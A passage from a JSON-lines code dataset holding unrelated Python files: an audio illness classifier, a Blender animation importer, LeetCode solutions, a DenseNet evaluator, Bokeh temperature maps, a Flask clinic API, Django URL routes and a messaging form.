'wb')\nwf.setnchannels(CHANNELS)\nwf.setsampwidth(p.get_sample_size(FORMAT))\nwf.setframerate(RATE)\nwf.writeframes(b''.join(frames))\nwf.close()\n\nos.remove(\"/home/upsquared/ceshi/ill/14.wav\")\nshutil.move(\"/home/upsquared/14.wav\",\"/home/upsquared/ceshi/ill\")\nbatch_size=1\nglobal pointer\n\n\n\n\ndef get_files(file_dir):\n ill = []\n ill_label = []\n healthy = []\n healthy_label = []\n for sub_file_dir in os.listdir(file_dir):\n if sub_file_dir == 'ill':\n for name in os.listdir(file_dir + '/' + sub_file_dir):\n if name.endswith('.wav') or name.endswith('.WAV'):\n ill.append(file_dir + '/' + sub_file_dir + '/' + name)\n ill_label.append(0)\n elif sub_file_dir == 'healthy':\n for name in os.listdir(file_dir + '/' + sub_file_dir):\n if name.endswith('.wav') or name.endswith('.WAV'):\n healthy.append(file_dir + '/' + sub_file_dir + '/' + name)\n healthy_label.append(1)\n voice_list = np.hstack((ill, healthy))\n label_list = np.hstack((ill_label, healthy_label))\n temp = np.array([voice_list, label_list])\n temp = temp.transpose()\n np.random.shuffle(temp)\n voice_list = list(temp[:, 0])\n label_list = list(temp[:, 1])\n label_list = [float(i) for i in label_list]\n\n return voice_list, label_list\n\ndef Get_batch(batch_size,filename,label_name):\n batches_wavs=[]\n batches_labels=[]\n pointer=0\n for i in range(batch_size):\n wav,sr=librosa.load(filename[pointer],mono=True)\n mfcc=np.transpose(librosa.feature.mfcc(wav,sr),[1,0])\n batches_wavs.append(mfcc.tolist())\n if label_name[pointer] == 1:\n batches_labels.append([0,1])##############one_hot label this label means health\n else:\n batches_labels.append([1,0])\n# batches_labels.append(labels[pointer])\n pointer+=1\n for mfcc in batches_wavs:\n while len(mfcc)<146:\n mfcc.append([0]*20)\n batches_wavs=np.array(batches_wavs)\n batches_labels=np.array(batches_labels)\n return batches_wavs,batches_labels\n\n\nxs=tf.placeholder(tf.float64,shape=[1,2920])\nys=tf.placeholder(tf.float64,shape=[1,2])\nWeights1=tf.Variable(tf.random_normal([2920,5]))\nb1=tf.Variable(tf.zeros([batch_size,5]))\nWeights2=tf.Variable(tf.random_normal([5,5]))\nb2=tf.Variable(tf.zeros([batch_size,5]))\nWeights3=tf.Variable(tf.random_normal([5,5]))\nb3=tf.Variable(tf.zeros([batch_size,5]))\nWeights4=tf.Variable(tf.random_normal([5,2]))\nb4=tf.Variable(tf.zeros([batch_size,2]))\nout1=tf.nn.sigmoid(tf.matmul(xs, tf.cast(Weights1,tf.float64)) + tf.cast(b1,tf.float64))\nout2=tf.nn.sigmoid(tf.matmul(out1, tf.cast(Weights2,tf.float64)) + tf.cast(b2,tf.float64))\nout3=tf.nn.sigmoid(tf.matmul(out2, tf.cast(Weights3,tf.float64)) + tf.cast(b3,tf.float64))\npre_out=tf.nn.sigmoid(tf.matmul(out3, tf.cast(Weights4,tf.float64)) + tf.cast(b4,tf.float64))\nsaver=tf.train.Saver()\n\nwith tf.Session() as sess:\n saver.restore(sess,\"/home/upsquared/modelnn.cpkt\")\n wav_files,labels=get_files('/home/upsquared/ceshi')\n test_batch, test_label_batch = Get_batch(batch_size, wav_files,labels)\n tf.cast(test_batch, tf.float64)\n test_batch = test_batch.reshape([batch_size, 20 * 146])\n # print(\"pre_out\",sess.run(pre_out,feed_dict={xs:test_batch}))\n correct_pre = tf.argmax(pre_out, 1)\n result=sess.run(correct_pre,feed_dict={xs:test_batch,ys:test_label_batch})\n print(\"pre_out\",result)#1=healthy,0=ill\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"95814811","text":"import bpy\nfrom bpy.props import BoolProperty, EnumProperty, FloatProperty, IntProperty, StringProperty\nfrom bpy.types import Operator\nfrom bpy_extras.io_utils import ImportHelper\nfrom importlib import import_module\nfrom typing import Union\nfrom .processors import FileProcessor, LinesProcessor, SegmentsProcessor\n\n\nclass CinematicsBuddyImport(Operator, ImportHelper):\n \"\"\"Import Cinematics Buddy Animation Export\"\"\"\n bl_idname = \"import.cinematics_buddy_data\"\n bl_label = \"Import Cinematics Buddy Animation\"\n filename_ext = \".txt\"\n\n filter_glob: StringProperty(default=\"*.txt\", options={'HIDDEN'})\n\n replay_frame_start: IntProperty(\n name=\"Replay Frame Start\",\n description=\"The frame to start processing from (usually the frame of your first snapshot, use 0 to start \"\n \"from first frame of export file). Ignored when snapshot file is used\",\n default=0\n )\n\n replay_frame_end: IntProperty(\n name=\"Replay Frame End\",\n description=\"The frame to end processing on (usually the frame of your last snapshot, use large number to \"\n \"process till last frame of export file). Ignored when snapshot file is used\",\n default=999999999\n )\n\n target_fps: IntProperty(\n name=\"Target FPS\",\n description=\"FPS you intend to use in Blender (use 0 to use FPS from animation export file)\",\n default=60\n )\n\n include_frame_nums: BoolProperty(\n name=\"Include Frame Numbers\",\n description=\"Will include keyframe for each frame number (from first column of animation export file)\",\n default=True\n )\n\n car_proxy_name: StringProperty(\n name=\"Car Proxy Name\",\n description='The name of the object created when you imported the octane fbx file',\n default='RL_OCTANE_PROXY'\n )\n\n ball_proxy_name: StringProperty(\n name=\"Ball Proxy Name\",\n description='The name of the object created when you imported the ball fbx file',\n default='RL_BALL_PROXY'\n )\n\n stadium_proxy_name: StringProperty(\n name=\"Stadium Proxy Name\",\n description='The name of the object created when you imported the stadium fbx file',\n default='RL_STADIUM_PROXY'\n )\n\n print_progress: BoolProperty(\n name=\"Print Progress to System Console\",\n description=\"Will print processed frames to System Console\",\n default=True\n )\n\n snapshot_filename: StringProperty(\n name=\"\",\n description='JSON file containing path snapshots. This can improve framerate consistency (optional)',\n default=''\n )\n\n vid_speed: EnumProperty(\n items=[\n (\"2.0\", \"200%\", \"\"),\n (\"1.0\", \"100%\", \"\"),\n (\"0.5\", \"50%\", \"\"),\n (\"0.25\", \"25%\", \"\"),\n (\"0.1\", \"10%\", \"\"),\n (\"0.05\", \"5%\", \"\"),\n ],\n name=\"\",\n description=\"Video Speed. Ignored when snapshot file isn't used\",\n default=\"1.0\",\n )\n\n blender_start_frame: IntProperty(\n name=\"First frame in Blender\",\n description=\"This will be the first frame written in Blender timeline\",\n default=1\n )\n\n sensor_width: FloatProperty(\n name=\"Sensor Width\",\n description=\"Camera Sensor Width\",\n default=35.0\n )\n\n maintain_sensor_focal_ratio: BoolProperty(\n name=\"Maintain Sensor Focal Length Ratio\",\n description=\"\",\n default=False\n )\n\n def draw(self, context):\n layout = self.layout\n box = layout.box()\n box.label(text='Campath File: (optional)')\n box.prop(self, 'snapshot_filename')\n box.label(text='Video Speed:')\n box.prop(self, 'vid_speed')\n box.prop(self, 'target_fps')\n sub_box = box.box()\n sub_box.label(text='Advanced:')\n sub_box.prop(self, 'blender_start_frame')\n sub_box.prop(self, 'sensor_width')\n # sub_box.prop(self, 'car_proxy_name')\n # sub_box.prop(self, 'ball_proxy_name')\n # sub_box.prop(self, 'stadium_proxy_name')\n # sub_box.prop(self, 'maintain_sensor_focal_ratio')\n # sub_box.prop(self, 'include_frame_nums')\n # box.prop(self, 'print_progress')\n # box.label(text='Frames:')\n # box.prop(self, 'replay_frame_start')\n # box.prop(self, 'replay_frame_end')\n\n def execute(self, context):\n return Importer.import_cinematics_data(\n context,\n self.filepath,\n self.replay_frame_start,\n self.replay_frame_end,\n float(self.target_fps),\n self.include_frame_nums,\n self.car_proxy_name,\n self.ball_proxy_name,\n self.stadium_proxy_name,\n self.snapshot_filename,\n float(self.vid_speed),\n self.sensor_width,\n self.maintain_sensor_focal_ratio,\n self.print_progress,\n self.blender_start_frame\n )\n\n\nclass Importer:\n\n @staticmethod\n def import_cinematics_data(\n context,\n filepath: str,\n replay_frame_start: int,\n replay_frame_end: int,\n target_fps: float,\n include_frame_nums: bool,\n car_proxy_name: str,\n ball_proxy_name: str,\n stadium_proxy_name: str,\n snapshot_filename: str,\n vid_speed: float,\n sensor_width: float,\n maintain_sensor_focal_ratio: bool,\n print_progress: bool,\n blender_start_frame: int\n ):\n unit_scale = 1 / 100.0 # centimeters\n\n if include_frame_nums:\n bpy.types.Camera.cb_frame = FloatProperty(\n name='CB Frame',\n description='Frame number from first column of animation export file',\n default=0.0,\n options={'ANIMATABLE'}\n )\n\n proxies = {\n 'CAR_PROXY_NAME': car_proxy_name,\n 'BALL_PROXY_NAME': ball_proxy_name,\n 'STADIUM_PROXY_NAME': stadium_proxy_name\n }\n\n scn = bpy.context.scene\n stadium_obj = bpy.data.objects.get(proxies['STADIUM_PROXY_NAME']).copy()\n stadium_obj.name = 'Stadium'\n stadium_obj.rotation_mode = 'QUATERNION'\n stadium_obj.location = (0.0, 0.0, 0.0)\n stadium_obj.rotation_quaternion = (1.0, 0.0, 0.0, 0.0)\n scn.collection.objects.link(stadium_obj)\n\n x = 30.739\n y = 40.96\n Importer.create_empty(scn, 'Corner Boost 1', (-x, -y, 0.0), unit_scale)\n Importer.create_empty(scn, 'Corner Boost 2', (x, -y, 0.0), unit_scale)\n Importer.create_empty(scn, 'Corner Boost 3', (-x, y, 0.0), unit_scale)\n Importer.create_empty(scn, 'Corner Boost 4', (x, y, 0.0), unit_scale)\n x = 35.85\n Importer.create_empty(scn, 'Side Boost 1', (-x, 0.0, 0.0), unit_scale)\n Importer.create_empty(scn, 'Side Boost 2', (x, 0.0, 0.0), unit_scale)\n y = 51.4\n Importer.create_empty(scn, 'Goal Line 1', (0.0, -y, 0.0), unit_scale)\n Importer.create_empty(scn, 'Goal Line 2', (0.0, y, 0.0), unit_scale)\n\n use_segments = True if len(snapshot_filename) else False\n\n module = import_module('io_import_cinematics_buddy.ops.processors')\n processor_class = getattr(\n module,\n 'SegmentsProcessor' if use_segments else 'LinesProcessor'\n )\n\n file_processor: Union[LinesProcessor, SegmentsProcessor] = processor_class(\n filepath,\n proxies,\n unit_scale,\n include_frame_nums,\n 0 if use_segments else replay_frame_start,\n 999999999 if use_segments else replay_frame_end,\n target_fps,\n scn,\n vid_speed,\n sensor_width,\n maintain_sensor_focal_ratio,\n print_progress,\n blender_start_frame\n )\n\n if use_segments:\n file_processor.set_snapshot_file(snapshot_filename)\n\n file_processor.process()\n\n return {'FINISHED'}\n\n @staticmethod\n def create_empty(scn, name: str, location, scale):\n obj = bpy.data.objects.new('empty', None)\n obj.name = name\n obj.rotation_mode = 'QUATERNION'\n obj.rotation_quaternion = (1.0, 0.0, 0.0, 0.0)\n obj.location = location\n obj.scale = (scale, scale, scale)\n scn.collection.objects.link(obj)\n return\n","sub_path":"Blender/current/io_import_cinematics_buddy/ops/cinematics_buddy_import.py","file_name":"cinematics_buddy_import.py","file_ext":"py","file_size_in_byte":8406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"151863825","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Aug 19 15:04:52 2017\n\n@author: AaronNguyen\n\"\"\"\n\n# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution(object):\n def minDepth(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n if root == None:\n return 0\n if root.left == None and root.right == None:\n return 1\n if root.left == None:\n return self.minDepth(root.right) + 1\n if root.right == None:\n return self.minDepth(root.left) + 1\n return min(self.minDepth(root.left),self.minDepth(root.right)) + 1\n\nsolution = Solution()\nroot = TreeNode(1)\nroot.left = TreeNode(2)\nroot.right = TreeNode(3)\nroot.left.left = TreeNode(4)\nroot.left.right = TreeNode(5)\nprint(solution.minDepth(root))","sub_path":"q111.py","file_name":"q111.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"290066814","text":"import torch\nimport torchvision.transforms as T\nimport argparse\nfrom tqdm import tqdm\nimport sys\nimport pandas\nfrom torch.utils.data import DataLoader\nimport research.common.utils as utils\nfrom research.common.loader import CancerDataset\nimport numpy\nimport torchvision\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nfrom torch.autograd import Variable\nsys.path.append('../../common')\n\nis_available_cuda = True\n\n# For ImageNet\nmean = [0.485, 0.456, 0.406]\nstd = [0.229, 0.224, 0.225]\n\n#from pytorchcv.model_provider import get_model as ptcv_get_model\n#net = ptcv_get_model(\"mobilenet_w1\", pretrained=True)\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--batch_size', '-b',\n help='Batch_size',\n type=int,\n default=80)\n parser.add_argument('--weight', '-w',\n help='weight image size for net',\n type=int, default=224)\n parser.add_argument('--height',\n help='height image size for net',\n type=int, default=224)\n parser.add_argument('--model', '-m',\n help='Path to model')\n parser.add_argument('--data_csv',\n help='Path to data CSV')\n parser.add_argument('--data',\n help='Path to images for dataset')\n parser.add_argument('--path_to_out_zip',\n help='Path to out file with submission ')\n parser.add_argument('--cuda', dest='is_available_cuda',\n action='store_true')\n parser.add_argument('--no-cuda', dest='is_available_cuda',\n action='store_false')\n parser.set_defaults(is_available_cuda=True)\n args = parser.parse_args()\n path_to_out = args.path_to_out_zip\n\n image_size = (args.weight, args.height)\n\n test_ds = CancerDataset(csv_file=args.data_csv,\n root_dir=args.data,\n transform_image=T.Compose([\n T.Resize(image_size),\n T.ToTensor(),\n T.Normalize(mean, std)\n ]))\n\n loader_test = DataLoader(test_ds, batch_size=args.batch_size,\n num_workers=1)\n\n submission_names = test_ds.get_train_img_names()\n model = torchvision.models.densenet169(pretrained='imagenet')\n # for child in model.children():\n # for param in child.parameters():\n # param.requires_grad = False\n\n num_ftrs = model.classifier.in_features\n model.fc = nn.Linear(num_ftrs, 2)\n model.load_state_dict(torch.load(args.model))\n model.eval()\n\n if is_available_cuda:\n model.cuda()\n\n predicted_labels = []\n pbar = tqdm(loader_test)\n for batch_idx, data in enumerate(pbar):\n with torch.no_grad():\n\n if is_available_cuda:\n data = Variable(data[0].cuda(), requires_grad=False)\n else:\n data = Variable(data[0], requires_grad=False)\n\n y_predicted = model(data)\n for predicted in y_predicted:\n\n label = numpy.argmax(predicted.cpu().numpy())\n predicted_labels.append(label)\n del data\n del y_predicted\n\n df = pandas.DataFrame({'id': submission_names, 'label': predicted_labels})\n df.to_csv('{}.gz'.format(path_to_out), index=False,\n compression='gzip')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"research/evaluate/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":3534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"94966618","text":"import geopandas as gpd\nimport pandas as pd\nfrom bokeh.io import output_notebook, show, output_file, export_png\nfrom bokeh.plotting import figure\nfrom bokeh.models import GeoJSONDataSource, LinearColorMapper, ColorBar\nfrom bokeh.palettes import brewer\nimport json\nimport os\nimport imageio\nfrom IPython.display import HTML\nimport random\n\nshapefile = 'Data/OriginalData/CountryShapes/ne_110m_admin_0_countries.shp'\n# Read shapefile using Geopandas\ngdf = gpd.read_file(shapefile)[['ADMIN', 'ADM0_A3', 'geometry']]\n# Rename columns.\ngdf.columns = ['country', 'country_code', 'geometry']\n# import temperature dataset\ndatafile = 'Data/OriginalData/hadcrut-surface-temperature-anomaly.csv'\ndf = pd.read_csv(datafile, names=['country', 'code', 'year', 'temperature'], skiprows=1)\n\n\ndef get_figure(year: int):\n '''\n create bokeh figure object\n :param year: year\n :return: figure\n '''\n df_year = df[df['year'] == year]\n # Merge dataframes gdf and df_2016.\n merged = gdf.merge(df_year, left_on='country_code', right_on='code')\n\n # Read data to json.\n merged_json = json.loads(merged.to_json())\n # Convert to String like object.\n json_data = json.dumps(merged_json)\n\n # Input GeoJSON source that contains features for plotting.\n geosource = GeoJSONDataSource(geojson=json_data)\n # Define a sequential multi-hue color palette.\n palette = brewer['RdBu'][11]\n # Reverse color order so that dark blue is highest obesity.\n # Instantiate LinearColorMapper that linearly maps numbers in a range, into a sequence of colors.\n color_mapper = LinearColorMapper(palette=palette, low=-2, high=2)\n # Define custom tick labels for color bar.\n tick_labels = {'0': '0°C',\n '-0.5': '-0.5°C',\n '-1': '-1°C',\n '-1.5': '-1.5°C',\n '-2': '-2°C',\n '0.5': '0.5°C',\n '1': '1°C',\n '1.5': '1.5°C',\n '2': '2°C'}\n # Create color bar.\n color_bar = ColorBar(color_mapper=color_mapper, label_standoff=8, width=500, height=20,\n border_line_color=None, location=(0, 0), orientation='horizontal',\n major_label_overrides=tick_labels)\n # Create figure object.\n p = figure(title='Surface temperature anomaly (degrees celcius), ' + str(year), plot_height=600, plot_width=950,\n toolbar_location=None)\n p.xgrid.grid_line_color = None\n p.ygrid.grid_line_color = None\n # Add patch renderer to figure.\n p.patches('xs', 'ys', source=geosource, fill_color={'field': 'temperature', 'transform': color_mapper},\n line_color='black', line_width=0.25, fill_alpha=1)\n # Specify figure layout.\n p.add_layout(color_bar, 'below')\n return p\n\n\ndef save_figure(year: int, filename: str):\n '''\n save figure to filename\n :param year: int\n :param filename: str\n :return: \n '''\n p = get_figure(year)\n export_png(p, filename=filename)\n\n\ndef show_figure(year: int):\n '''\n show figure in ipython\n :param year: int\n :return: void\n '''\n p = get_figure(year)\n output_notebook()\n show(p)\n\n\ndef generate_gif(plots_directory: str, file_path: str, start: int, end: int, step: int = 1, fps: int = 5):\n '''\n geterate gif from plots\n :param plots_directory: str path\n :param file_path: str path\n :param start: start year\n :param end: end year\n :param step: step of year between gif\n :param fps: fps of gif\n :return: \n '''\n file_names = sorted((fn for fn in os.listdir(plots_directory) if fn.endswith('png')))\n images = []\n count = 0\n for filename in file_names:\n year = int(filename.split('.')[0])\n if year >= start and year <= end:\n if count == step:\n count = 0\n if count == 0:\n images.append(imageio.imread(plots_directory + filename))\n count += 1\n imageio.mimsave(file_path, images, fps=fps)\n\n\ndef show_gif(file_path):\n '''\n show gif in ipython\n :param file_path: gif file path\n :return: \n '''\n return HTML('')","sub_path":"src/plots/TemperatureMap.py","file_name":"TemperatureMap.py","file_ext":"py","file_size_in_byte":4211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"571320900","text":"from flask import Flask, request, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_cors import CORS\n# with docker\n# from os import environ\n\napp = Flask(__name__)\n\n# with docker\n# app.config['SQLALCHEMY_DATABASE_URI'] = environ.get('dbURL')\n\n# without docker\napp.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+mysqlconnector://root@localhost:3306/clinic'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n \ndb = SQLAlchemy(app)\nCORS(app)\n\nclass Clinic(db.Model):\n __tablename__ = 'clinic'\n \n clinicName = db.Column(db.String(100), primary_key=True)\n groupedLocation = db.Column(db.String(100), nullable=False)\n address = db.Column(db.String(100), nullable=False)\n postalCode = db.Column(db.Integer, nullable=False)\n specialty = db.Column(db.String(100), nullable=False)\n contactNumber = db.Column(db.String(15), nullable=False)\n opening = db.Column(db.String(200), nullable=False)\n \n def __init__(clinicName, groupedLocation, address, postalCode, specialty, contactNumber, opening):\n self.clinicName = clinicName\n self.groupedLocation = groupedLocation\n self.address = address\n self.postalCode = postalCode\n self.specialty = specialty\n self.contactNumber = contactNumber\n self.opening = opening\n \n def json(self):\n return {\"clinicName\": self.clinicName, \"groupedLocation\": self.groupedLocation, \"address\": self.address, \"postalCode\": self.postalCode, \"specialty\": self.specialty, \"contactNumber\": self.contactNumber, \"opening\": self.opening}\n\n\n\n# get all clinics\n@app.route(\"/clinic\")\ndef get_all():\n # query for clinic alone\n\treturn jsonify({\"clinic\": [clinic.json() for clinic in Clinic.query.all()]})\n\n # queries for 2 tables\n # opening = db.session.query(ClinicOpening).join(Map, Map.ClinicOpening==ClinicOpening.clinicName).all()\n # clinic = db.session.query(Clinic).join(Map, Clinic.clinicName==Map.clinicName).all()\n # joined = db.session.query(Clinic, ClinicOpening).join(ClinicOpening, Clinic.clinicName==ClinicOpening.clinicName).first()\n # return joined.dumps(joined)\n # query for clinic and opening hours\n\n # query = db.session.query(Clinic, ClinicOpening).join(Map, Clinic.clinicName==Map.clinicName, Map.ClinicOpening==ClinicOpening.clinicName).all()\n # return jsonify({\"clinic\": [clinic.json() for clinic in query]})\n\n\n#get clinics from name\n@app.route(\"/clinic/\")\ndef find_by_clinicName(clinicName):\n # clinic = Clinic.query(Clinic).join(ClinicOpening).filter(clinicName.like(f'%{clinicName}%')).all()\n # clinic = Clinic.query.filter_by(clinicName=clinicName).all()\n search = \"%{}%\".format(clinicName)\n clinic = Clinic.query.filter(Clinic.clinicName.like(search)).all()\n result = []\n if clinic:\n for aClinic in clinic:\n result.append(aClinic.json())\n return jsonify(result)\n return jsonify({\"message\": \"Clinic not found.\"}), 404\n\n# get clinics by location group\n@app.route(\"/clinic/loc/\")\ndef find_by_groupedLocation(groupedLocation):\n # if groupedLocation:\n # return jsonify(groupedLocation.json())\n\n groupedLocation = Clinic.query.filter_by(groupedLocation=groupedLocation).order_by(Clinic.clinicName).all()\n result = []\n\n if groupedLocation:\n for aLocation in groupedLocation:\n result.append(aLocation.json())\n return jsonify(result)\n return jsonify({\"message\": \"No clinics found.\"}), 404\n\n# get clinics by specialty\n@app.route(\"/clinic/spec/\")\ndef find_by_specialty(specialty):\n # if groupedLocation:\n # return jsonify(groupedLocation.json())\n\n specialty = Clinic.query.filter_by(specialty=specialty).order_by(Clinic.clinicName).all()\n result = []\n\n if specialty:\n for aClinic in specialty:\n result.append(aClinic.json())\n return jsonify(result)\n return jsonify({\"message\": \"No clinics found.\"}), 404\n\n@app.route(\"/clinic///\")\ndef find_by_all(clinicName, groupedLocation, specialty):\n # if groupedLocation:\n # return jsonify(groupedLocation.json())\n search = \"%{}%\".format(clinicName)\n loc = groupedLocation\n spec = specialty\n clinics = Clinic.query.filter(Clinic.clinicName.like(search), Clinic.groupedLocation==loc, Clinic.specialty==spec).all()\n result = []\n\n if clinics:\n for aClinic in clinics:\n result.append(aClinic.json())\n return jsonify(result)\n return jsonify({\"message\": \"No clinics found.\"}), 404\n\n@app.route(\"/clinic/specloc//\")\ndef find_by_spec_loc(groupedLocation, specialty):\n # if groupedLocation:\n # return jsonify(groupedLocation.json())\n clinics = Clinic.query.filter_by(groupedLocation=groupedLocation).filter_by(specialty=specialty).order_by(Clinic.clinicName).all()\n result = []\n\n if clinics:\n for aClinic in clinics:\n result.append(aClinic.json())\n return jsonify(result)\n return jsonify({\"message\": \"No clinics found.\"}), 404\n\n@app.route(\"/clinic/nameloc//\")\ndef find_by_nameloc(clinicName, groupedLocation):\n # if groupedLocation:\n # return jsonify(groupedLocation.json())\n search = \"%{}%\".format(clinicName)\n loc = groupedLocation\n clinics = Clinic.query.filter(Clinic.clinicName.like(search), Clinic.groupedLocation==loc).all()\n # clinics = Clinic.query.filter_by(clinicName=clinicName).filter_by(groupedLocation=groupedLocation).order_by(Clinic.clinicName).all()\n result = []\n\n if clinics:\n for aClinic in clinics:\n result.append(aClinic.json())\n return jsonify(result)\n return jsonify({\"message\": \"No clinics found.\"}), 404\n\n@app.route(\"/clinic/namespec//\")\ndef find_by_namespec(clinicName, specialty):\n # if groupedLocation:\n # return jsonify(groupedLocation.json())\n search = \"%{}%\".format(clinicName)\n spec = specialty\n clinics = Clinic.query.filter(Clinic.clinicName.like(search), Clinic.specialty==spec).all()\n # clinics = Clinic.query.filter_by(clinicName=clinicName).filter_by(specialty=specialty).order_by(Clinic.clinicName).all()\n result = []\n\n if clinics:\n for aClinic in clinics:\n result.append(aClinic.json())\n return jsonify(result)\n return jsonify({\"message\": \"No clinics found.\"}), 404\n\n\n@app.route(\"/clinic/getPostalCode/\")\ndef getPostalCode(clinicName):\n clinic = Clinic.query.filter_by(clinicName = clinicName).first()\n\n # data = clinic\n # postalCode = data['postalCode']\n\n data = clinic.postalCode\n\n return jsonify(data), 201\n\nif __name__ == '__main__': # if it is the main program you run, then start flask\n # with docker\n # app.run(host='0.0.0.0', port=5000, debug=True)\n app.run(port=5111, debug=True) #to allow the file to be named other stuff apart from app.py\n # debug=True; shows the error and it will auto restart\n","sub_path":"clinic.py","file_name":"clinic.py","file_ext":"py","file_size_in_byte":7058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"292281853","text":"from django.urls import path \n\nfrom . import views \n\napp_name = 'pizzas'\n\nurlpatterns = [\n path('',views.index,name='index'),\n path('pizzas', views.pizzas,name='pizzas'),\n path('pizzas//', views.pizza,name='pizza'),\n path('new_pizza/',views.new_pizza,name='new_pizza'),\n path('new_topping//',views.new_topping,name='new_topping'),\n path('edit_topping//',views.edit_topping,name='edit_topping'),\n path('new_comment//',views.new_comment,name='new_comment'),\n path('edit_comment//',views.edit_comment,name='edit_comment'),\n\n\n \n\n]\n\n#path('comment//',views.new_topping,name='comment')","sub_path":"pizzas/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"233511459","text":"class Solution(object):\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n l1_list = self.traversalList(l1)\n l2_list = self.traversalList(l2)\n l1_list = [str(i) for i in l1_list]\n l2_list = [str(i) for i in l2_list]\n sum_val = int(''.join(l1_list)) + int(''.join(l2_list))\n sum_val = [int(i) for i in str(sum_val)]\n res = self.createList(sum_val)\n return res\n\n def traversalList(self, head):\n res = []\n if not head:\n return None\n current = head\n while current:\n res.append(current.val)\n current = current.next\n return res \n\n def createList(self, n):\n pre = ListNode(0)\n before_head = pre\n for i in n:\n node = ListNode(i)\n pre.next = node\n pre = node\n return before_head.next","sub_path":"400-500/445_add_two_nums2.py","file_name":"445_add_two_nums2.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"162416753","text":"originSet = set(range(1, 10000))\n\ninitNumber = set()\n\nfor nums in originSet:\n for num in str(nums):\n nums += int(num)\n\n if(nums < 10000):\n initNumber.add(nums)\n\nprint(*sorted(originSet.difference(initNumber)), sep=\"\\n\")","sub_path":"백준 단계별로 풀어보기/[함수] 셀프 넘버.py","file_name":"[함수] 셀프 넘버.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"231729233","text":"from django import forms\nfrom django.conf import settings\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.utils.safestring import mark_safe\nfrom django.utils import timezone\n\nif \"notification\" in settings.INSTALLED_APPS and getattr(settings, 'DJANGO_MESSAGES_NOTIFY', True):\n from notification import models as notification\nelse:\n notification = None\n\nfrom django_messages.models import Message\nfrom django_messages.fields import CommaSeparatedUserField, CommaSeparatedUserInput\n\nfrom django_messages.utils import get_user_model, get_username_field\n\nclass ComposeForm(forms.Form):\n \"\"\"\n A simple default form for private messages.\n \"\"\"\n recipient = CommaSeparatedUserField(label=_(u\"Recipient\"))\n subject = forms.CharField(label=_(u\"Subject\"), max_length=120)\n body = forms.CharField(label=_(u\"Body\"),\n widget=forms.Textarea(attrs={'rows': '12', 'cols':'55'}))\n \n \n def __init__(self, *args, **kwargs):\n recipient_filter = kwargs.pop('recipient_filter', None)\n super(ComposeForm, self).__init__(*args, **kwargs)\n if recipient_filter is not None:\n self.fields['recipient']._recipient_filter = recipient_filter\n \n \n def save(self, sender, parent_msg=None, extra_kwargs={}):\n recipients = self.cleaned_data['recipient']\n subject = self.cleaned_data['subject']\n body = self.cleaned_data['body']\n message_list = []\n for r in recipients:\n msg = Message(\n sender = sender,\n recipient = r,\n subject = subject,\n body = body,\n )\n if parent_msg is not None:\n msg.parent_msg = parent_msg\n parent_msg.replied_at = timezone.now()\n parent_msg.save()\n msg.save()\n message_list.append(msg)\n if notification:\n if parent_msg is not None:\n notification.send([sender], \"messages_replied\", {'message': msg,}, **extra_kwargs)\n notification.send([r], \"messages_reply_received\", {'message': msg,}, **extra_kwargs)\n else:\n notification.send([sender], \"messages_sent\", {'message': msg,}, **extra_kwargs)\n notification.send([r], \"messages_received\", {'message': msg,}, **extra_kwargs)\n return message_list\n\n\nclass RecipientDisplayWidget(CommaSeparatedUserInput):\n input_type = 'hidden'\n is_hidden = False\n \n def __init__(self, *args, **kwargs):\n self.recipient_format = kwargs.pop(\"recipient_format\", None)\n super(RecipientDisplayWidget, self).__init__(*args, **kwargs)\n \n def _format_display(self, display):\n User = get_user_model()\n if not isinstance(display, User):\n try:\n display = User.objects.get(**{'%s__iexact' % get_username_field(): display})\n except User.DoesNotExist:\n return \"\"\n if self.recipient_format:\n return self.recipient_format(display)\n return getattr(display, get_username_field())\n \n def render(self, name, value, attrs=None):\n if value is None:\n value = ''\n elif isinstance(value, (list, tuple)):\n value = (', '.join([getattr(user, get_username_field()) for user in value]))\n output = super(RecipientDisplayWidget, self).render(name, value, attrs)\n display = value\n if display is None:\n display = 'None'\n elif isinstance(display, (list, tuple)):\n display = (', '.join([self._format_display(user) for user in display]))\n else:\n display = self._format_display(display)\n return mark_safe(u'%s%s' % (display, output))\n\n\nclass ComposeToForm(ComposeForm):\n def __init__(self, *args, **kwargs):\n recipient_format = kwargs.pop(\"recipient_format\", None)\n self.recipients = kwargs.pop(\"recipients\", None)\n super(ComposeToForm, self).__init__(*args, **kwargs)\n self.fields['recipient'].widget = RecipientDisplayWidget(recipient_format=recipient_format)\n self.fields['recipient'].initial = self.recipients\n\n def clean_recipient(self):\n data = 